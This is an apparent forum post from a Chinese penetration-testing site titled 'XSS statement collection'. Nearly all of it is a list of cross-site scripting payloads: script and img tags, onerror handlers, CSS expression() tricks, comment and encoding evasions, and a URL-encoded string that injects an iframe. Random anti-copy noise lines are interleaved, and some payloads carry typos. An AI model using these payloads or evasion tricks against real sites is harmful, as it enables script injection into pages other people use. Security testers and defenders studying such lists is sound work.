中国网络渗透测试联盟
标题:
跨站语句大全
[打印本页]
作者:
admin
时间:
2012-9-13 17:15
标题:
跨站语句大全
<script>alert("跨站")</script> (最常用）
8 z3 M: M% Y* u: [& R# E9 L C
<img scr=javascript:alert("跨站")></img>
0 h% j% q H+ ^, n
<img scr="javascript: alert(/跨站/)></img>
) {/ t' n% M" f, R4 d7 `. t1 j
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
1 c9 r5 d+ I9 L( ?
<img scr="#" onerror=alert(/跨站/)></img>
8 C/ z6 n3 g2 ]! O L4 ]
<img scr="#" style="xss:expression(alert(/xss/));"></img>
0 d3 C/ q: P( Q
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
$ I7 c* U1 r& V9 S0 n& N* C: O; X
<img src=vbscript:msgbox ("xss")></img>
3 F5 j" K1 \. w" g6 k! V+ i
<style> input {left:expression (alert('xss'))}</style>
% @5 v7 l1 V) _! l6 y7 @& s
<div style={left:expression (alert('xss'))}></div>
! p! z6 W5 W2 M0 L6 ~
<div style={left:exp/* */ression (alert('xss'))}></div>
! P0 t8 @7 w! ]9 l4 h2 \+ r
<div style={left:\0065\0078ression (alert('xss'))}></div>
- ? o# X% ?( g, Q
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
% i2 `; X6 e4 e/ J" S9 S
unicode <div style="{left:expRessioN (alert('xss'))}">
/ O7 P5 m* D" e" ]; y( C
( i/ T! c/ X7 L) g1 I* `
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
9 F2 }" ]( q3 p
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2